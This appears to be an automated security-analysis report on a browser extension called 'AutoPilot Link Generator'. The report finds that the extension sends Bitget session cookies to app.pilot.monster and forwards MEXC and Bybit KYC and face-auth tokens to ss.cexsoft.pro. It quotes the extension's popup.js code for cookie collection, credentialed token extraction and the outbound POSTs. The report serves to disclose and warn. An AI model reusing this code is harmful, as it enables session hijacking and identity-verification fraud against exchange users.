Is AutoPilot Link Generator safe?
AutoPilot Link Generator is critical risk. Clicking Bitget Generate Link requires an active Bitget tab, reads all cookies for bitget.com/bitget.site, and sends each name, value, and domain to app.pilot.monster. The POST also carries the extension key, country, and user agent.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Bitget link flow sends site cookies to app.pilot.monster
Clicking Bitget Generate Link requires an active Bitget tab, reads all cookies for bitget.com/bitget.site, and sends each name, value, and domain to app.pilot.monster.
The POST also carries the extension key, country, and user agent.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start the Bitget Generate Link flow from the popup.
The flow only continues when the active tab is on bitget.com or bitget.site.
The extension reads Bitget cookies and sends them to app.pilot.monster.
The request also includes a country value, your browser user agent, the Bitget origin, and the extension key.
- Bitget cookie namesbt_sso_id (illustrative)
This identifies which Bitget session and preference cookies exist in your browser.
- Bitget cookie valuesbt_session=redacted-value-9f2a (illustrative)
Cookie values can identify or authenticate your Bitget web session when accepted by the receiving service.
- Cookie domain.bitget.com (illustrative)
This tells the receiving service whether the cookie came from bitget.com or bitget.site.
- Browser user agentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0 Safari/537.36 (illustrative)
This adds your browser and operating-system context to the link request.
- Bitget originhttps://www.bitget.com
This records which Bitget site the active tab used when the link was generated.
- Content-Type
- application/json
Cookie collection and Bitget link POST in popup.js
Active Bitget tab check
extracted/popup.jsasync function requireActiveBitgetTab() { const tab = await getActiveTab(); if (!tab?.url || !tab?.id) throw new Error('Open bitget.com and try again.'); const url = new URL(tab.url); if (!isBitgetHost(url.hostname)) throw new Error('Open bitget.com and try again.'); activeTabId = tab.id; bitgetOrigin = normalizeBitgetOrigin(url.hostname);}Cookie collection
extracted/popup.jsfunction collectBitgetCookies() { return new Promise(resolve => { try { const domain = String(bitgetOrigin || '').includes('bitget.site') ? 'bitget.site' : 'bitget.com'; chrome.cookies.getAll({ domain }, cookies => { resolve((cookies || []).map(cookie => ({ name: cookie.name, value: cookie.value, domain: cookie.domain }))); }); } catch { resolve([]); } });}POST to app.pilot.monster
extracted/popup.jsasync function mintBitgetLink(cookies, country) { const payload = { key: await getApiKey(), cookies, country: country || '', user_agent: navigator.userAgent, origin: bitgetOrigin || 'https://www.bitget.com' }; const response = await fetch('https://app.pilot.monster/api/extension/bitget-link', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); if (!response.ok) throw new Error('Mint request failed'); const json = await response.json(); if (!json.success) throw new Error(json.error || 'Mint returned failure'); return json;}Generate Link handler
extracted/popup.jsasync function onBitgetGenerateLinkClick() { clearBitgetLinkUi(); await requireActiveBitgetTab(); const cookies = await collectBitgetCookies(); if (!cookies.length) throw new Error('No bitget.com cookies found'); const result = await mintBitgetLink(cookies, selectedCountry || ''); if (result.sdk_type !== 'bitget_native') throw new Error('Unsupported sdk_type'); showBitgetLink(result.bitget_url);}- app.pilot.monster
Receives the Bitget cookie list and browser context, then returns a Bitget verification link.
MEXC face-auth tokens are forwarded to ss.cexsoft.pro
MEXC KYC, rewards, risk-control, and withdrawal flows run in an active MEXC tab, hit KYC/face-auth endpoints with browser credentials, and extract access tokens sent with an email-derived ID to ss.cexsoft.pro/generate_proxy_link.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start one of the MEXC Generate Link flows from the popup.
The flow requires an active www.mexc.com or www.mexc.fm tab.
The extension reads a MEXC verification token and sends it to ss.cexsoft.pro.
The same proxy-link sender is used for initial KYC, rewards face checks, risk-control checks, and withdrawal face checks.
- Initial KYC access tokenmexc_kyc_access_token_7b21c0 (illustrative)
This credential can identify or authorize a MEXC KYC verification session tied to your account.
- Face-auth access tokensumsub_face_token_4c19f8 (illustrative)
This credential can identify or authorize a MEXC rewards, risk-control, or withdrawal face-auth session.
- Email-derived identifierjane***@example.com_mexc_withdraw_face (illustrative)
This ties the generated proxy link to your MEXC account identity or to a generated local address when the email cannot be read.
- SDK type and sourcesdkType=sumsub, source=chrome_extension
This tells the receiving service that the token is for a Sumsub-style link generated by the browser extension.
- MEXC site originhttps://www.mexc.com
This determines which MEXC site the extension uses for credential-included API calls.
- Content-Type
- application/json
MEXC token extraction and proxy-link POST in popup.js
Initial KYC token fetch
extracted/popup.jsasync function getMexcInitialKycToken(baseUrl = 'https://www.mexc.com') { const countryCode = 'UA'; const cardType = '2'; const init = await postMexcJson( baseUrl + '/ucenter/api/kyc_senior/self_init?countryCode=' + countryCode + '&cardType=' + cardType, null ); const recordId = init.data?.recordId; const applicantId = init.data?.applicantId; if (!recordId || !applicantId) throw new Error('Failed to get recordId or applicantId'); const tokenResponse = await postMexcJson(baseUrl + '/ucenter/api/kyc_senior/access_token', { countryCode, cardType, recordId, applicantId }); const accessToken = tokenResponse.data?.accessToken; if (!accessToken) throw new Error('Failed to get access token'); return { ok: true, token: accessToken };}Rewards/risk face token fetch
extracted/popup.jsasync function getMexcFaceToken(baseUrl = 'https://www.mexc.com', faceId, businessNo) { if (!faceId) { const response = await fetch(baseUrl + '/ucenter/api/face_auth/sumsub/face_id', { method: 'POST', headers: { accept: '*/*', 'content-type': 'application/json', language: 'ru-RU' }, credentials: 'include', body: JSON.stringify({ bizType: 'RISK_ALL_LINK', bizId: businessNo }) }); const json = await response.json(); const accessToken = json.data?.accessToken; const newFaceId = json.data?.faceId; if (!accessToken) throw new Error('No access token in sumsub/face_id response'); return { ok: true, accessToken, faceId: newFaceId }; } const response = await fetch(baseUrl + '/ucenter/api/face_auth/access_token', { method: 'POST', headers: { accept: '*/*', 'content-type': 'application/json', language: 'ru-RU' }, credentials: 'include', body: JSON.stringify({ faceId, bizId: businessNo }) }); const json = await response.json(); return { ok: true, accessToken: json.data?.accessToken, faceId: json.data?.faceId };}Risk-control face token fetch
extracted/popup.jsasync function getMexcRiskControlFaceToken(baseUrl = 'https://www.mexc.com') { const response = await fetch(baseUrl + '/ucenter/api/face_auth/sumsub/face_id', { method: 'POST', headers: { accept: '*/*', 'content-type': 'application/json', language: 'en-US' }, credentials: 'include', body: JSON.stringify({ bizType: 'SELF_SERVICE_APPLY_REMOVE_RISK' }) }); const json = await response.json(); if (json?.code === 11380) return { ok: true, noFace: true }; const accessToken = json.data?.accessToken; if (!accessToken) throw new Error('No access token in sumsub/face_id response'); return { ok: true, accessToken };}Withdrawal face token fetch
extracted/popup.jsasync function getMexcWithdrawFaceToken(baseUrl = 'https://www.mexc.com', faceId, bizId) { const endpoint = faceId ? '/ucenter/api/face_auth/access_token' : '/ucenter/api/face_auth/sumsub/face_id'; const body = faceId ? { faceId, bizId } : { bizType: 'WITHDRAW_RISK', bizId }; const response = await fetch(baseUrl + endpoint, { method: 'POST', headers: { accept: '*/*', 'content-type': 'application/json', language: 'en-US' }, credentials: 'include', body: JSON.stringify(body) }); const json = await response.json(); const accessToken = json.data?.accessToken; if (!accessToken) throw new Error('No access token in response'); return { ok: true, accessToken, faceId: json.data?.faceId };}MEXC link wrappers
extracted/popup.jsasync function createMexcProxyLinks(token, flow) { const suffix = flow === 'withdraw' ? '_mexc_withdraw_face' : flow === 'initial' ? '_mexc_initial_kyc' : '_mexc_face'; const identifier = await readMexcEmail() + suffix; return await postProxyLink('sumsub', token, null, identifier);}async function postProxyLink(sdkType, token, workflowRunId = null, email = null, country = null) { const payload = { key: await getApiKey(), email: email || await readBybitEmail(), sdkType, country: country || 'XX', source: 'chrome_extension' }; if (sdkType === 'sumsub') payload.sumsubToken = token; const response = await fetch('https://ss.cexsoft.pro/generate_proxy_link', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); const json = await response.json(); if (!json.success) throw new Error(json.error || 'API returned failure'); return json.short_link;}- ss.cexsoft.pro
Receives MEXC KYC, risk-control, reward, or withdrawal face-auth tokens and returns a generated proxy link.
Bybit KYC tokens are forwarded to ss.cexsoft.pro
Clicking Bybit Generate Link injects code into an active Bybit/BybitGlobal/Bytick tab, calls Bybit's KYC endpoints with credentials, and extracts a Sumsub/Onfido/Jumio credential sent with an email ID to ss.cexsoft.pro/generate_proxy_link.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start the Bybit KYC Generate Link flow from the popup.
The flow requires an active Bybit, BybitGlobal, or Bytick tab.
The extension reads a Bybit verification credential and sends it to ss.cexsoft.pro.
The POST includes the token or provider URL together with an email-derived identifier and extension metadata.
- KYC provider tokensumsubToken=eyJhbGciOiJIUzI1NiJ9.bybit-session-token (illustrative)
This credential can identify or authorize your identity-verification session with the provider named by Bybit.
- Provider workflow URLhttps://id.onfido.com/workflow_runs/5f6c2a9b (illustrative)
For Onfido or Jumio flows, this can point to a verification workflow tied to your account.
- Email-derived identifierjane***@example.com_bybit_initial_kyc (illustrative)
This ties the generated proxy link to your Bybit account identity or to a generated local address when the email cannot be read.
- SDK type and sourcesdkType=sumsub, source=chrome_extension
This tells the receiving service which verification provider is being proxied and that the request came from the browser extension.
- CountryUA (illustrative)
This adds country context used by the verification-link generation flow.
- Content-Type
- application/json
Bybit token extraction and proxy-link POST in popup.js
Bybit Generate Link handler
extracted/popup.jsasync function onBybitGenerateLinkClick() { clearBybitUi(); await requireActiveBybitTab(); const [{ result }] = await chrome.scripting.executeScript({ target: { tabId: activeTabId }, world: 'MAIN', func: collectBybitKycToken, args: [bybitBaseUrl] }); if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error'); if (result.status === 'kyc_token' && result.token) { await createBybitProxyLink(result.token, result.provider, result.workflowRunId || null); }}KYC token endpoint excerpt inside Vo
extracted/popup.jsasync function collectBybitKycToken(baseUrl) { for (const country of candidateCountries) { const response = await postJson( baseUrl + '/x-api/v3/private/kyc/get-verification-sdk-info', { country, doc_type: 'KYC_DOC_TYPE_ID', announced: true } ); const parsed = parseProviderToken(response); if (parsed.token) { return { ok: true, status: 'kyc_token', token: parsed.token, provider: parsed.provider, workflowRunId: parsed.workflowRunId }; } } return { ok: true, status: 'kyc_token', token: '' };}Provider dispatch after token extraction
extracted/popup.jsasync function createBybitProxyLink(token, provider = 'PROVIDER_SUMSUB', workflowRunId = null) { const email = await readBybitEmail(); const identifier = email + '_bybit_initial_kyc'; if (provider === 'PROVIDER_ONFIDO' || provider === 'ONFIDO') { generatedLink = await postOnfidoLink(token, workflowRunId, identifier); } else if (provider === 'PROVIDER_JUMIO_NEW') { generatedLink = await postJumioLink(token, workflowRunId, identifier); } else { generatedLink = await postSumsubLink(token, identifier); }}Proxy-link POST builder
extracted/popup.jsasync function postProxyLink(sdkType, token, workflowRunId = null, email = null, country = null) { const payload = { key: await getApiKey(), email: email || await readBybitEmail(), sdkType, country: country || 'XX', source: 'chrome_extension' }; if (sdkType === 'sumsub') payload.sumsubToken = token; if (sdkType === 'onfido') { payload.onfidoToken = token; payload.workflowRunId = workflowRunId; } if (sdkType === 'jumio') payload.jumioUrl = workflowRunId; const response = await fetch('https://ss.cexsoft.pro/generate_proxy_link', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); const json = await response.json(); if (!json.success) throw new Error(json.error || 'API returned failure'); return json.short_link;}- ss.cexsoft.pro
Receives Bybit KYC provider credentials and returns a generated proxy link.